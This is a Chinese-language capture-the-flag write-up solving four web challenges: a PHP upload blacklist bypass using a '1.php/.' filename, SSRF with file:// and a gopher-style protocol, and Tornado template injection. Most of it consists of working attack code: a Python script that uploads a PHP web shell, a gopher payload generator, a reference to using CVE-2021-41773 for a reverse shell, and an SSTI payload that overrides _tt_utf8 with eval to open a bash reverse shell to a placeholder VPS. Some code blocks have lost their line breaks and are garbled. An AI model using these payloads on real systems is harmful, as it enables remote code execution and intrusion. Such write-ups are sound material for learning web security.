?1.php簽到
<?phpfunction waf($filename){$black_list = array("ph", "htaccess", "ini");$ext = pathinfo($filename, PATHINFO_EXTENSION);foreach ($black_list as $value) {if (stristr($ext, $value)){return false;}}return true;
}if(isset($_FILES['file'])){$filename = urldecode($_FILES['file']['name']);$content = file_get_contents($_FILES['file']['tmp_name']);if(waf($filename)){file_put_contents($filename, $content);} else {echo "Please re-upload";}
} else{highlight_file(__FILE__);
}
上傳文件名被黑名單ph,htaccess,ini檢測,但是pathinfo檢測到filename.extension/.時,PATHINFO_EXTENSION被檢測為空,空不在黑名單里面,就能繞過檢測
上傳一個1.php/.,在file_put_contents函數中,如果filename為1.php/.,就會在當前目錄創建一個名為1.php的文件,從而實現傳馬
由于沒有上傳點,用py上傳
import requests
url="http://node5.anna.nssctf.cn:28680/"
filename="test.php%2f."
content="<?php system($_GET[1]);?>"
file={"file":(filename,content)}
re=requests.post(url=url,files=file)
print(re.text)
/要用url編碼
在環境變量里面找到flag
2.Mybox
直接url=file:///proc/1/environ拿到flag
3.MyBox(revenge)
下載源碼
url=file:///app/app.py
from flask
import Flask, request, redirect
import requests, socket, struct from urllib
import parse app = Flask(__name__)
@app.route('/')
def index(): if not request.args.get('url'): return redirect('/?url=dosth') url = request.args.get('url') if url.startswith('file://'): with open(url[7: ], 'r') as f: return f.read() elif url.startswith('http://localhost/'): return requests.get(url).text elif url.startswith('mybox://127.0.0.1:'): port, content = url[18: ].split('/_', maxsplit = 1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect(('127.0.0.1', int(port))) s.send(parse.unquote(content).encode()) res = b ''
while 1: data = s.recv(1024) if data: res += dataelse: break return res
return ''
app.run('0.0.0.0', 827)
如果以file://開頭,則返回后面的文件內容
如果以http://localhost/開頭,則發送一個get請求,獲取url內容
如果以mybox://127.0.0.1:開頭,后面的內容/_左邊為端口,右邊為內容,建立一個socket連接發送解碼后的內容,這個mybox其實就是魔改的gophar
用腳本生成一個gophar請求
import urllib.parse
test =\
"""GET /flag.php HTTP/1.1
Host: 127.0.0.1:80"""
#注意后面一定要有回車,回車結尾表示http請求結束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)
因為是get請求,二次url編碼,可能環境有問題,我的gophar打不通,后面就是利用2.4.49的apache的RCE漏洞?CVE-2021-41773反彈shell拿到flag
4.MyHurricane
打開是亂的py源碼
整理一下
import tornado.ioloop
import tornado.web
import osBASE_DIR = os.path.dirname(__file__)def waf(data):# Web Application Firewall (WAF) function to filter out certain patternsbl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']for c in bl:if c in data:return Falsefor chunk in data.split():for c in chunk:if not (31 < ord(c) < 128):return Falsereturn Trueclass IndexHandler(tornado.web.RequestHandler):def get(self):# Handle GET requests, read and display the content of the current filewith open(__file__, 'r') as f:self.finish(f.read())def post(self):# Handle POST requests, perform WAF check, and write to HTML file if validdata = self.get_argument("ssti")if waf(data):with open('1.html', 'w') as f:f.write(f"""<html><body>{data}</body></html>""")f.flush()self.render('1.html') # Render the created HTML fileelse:self.finish('no no no') # Reject request if WAF check failsif __name__ == "__main__":# Initialize Tornado web applicationapp = tornado.web.Application([(r"/", IndexHandler),], compiled_template_cache=
是一個Tornado框架
WAF過濾一些ssti用到的符號
參數是ssti,post提交,由于過濾了{{ 和}},可以使用{% %}
搜索相關bypass發現include不需要括號可以包含文件
包含/proc/1/environ得到flag
但這是非預期解
預期解:
利用_tt_utf8進行變量覆蓋繞過
tornado在渲染時會執行_tt_utf8(_tt_tmp),將_tt_utf8變量定義為eval,_tt_tmp從post傳參,那么就能執行命令,這里抄用其他師傅的payload
{% set?_tt_utf8=eval?%}{% raw request.body_arguments[request.method][0] %}&shell=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port?<%261'")
在環境變量里面找到flag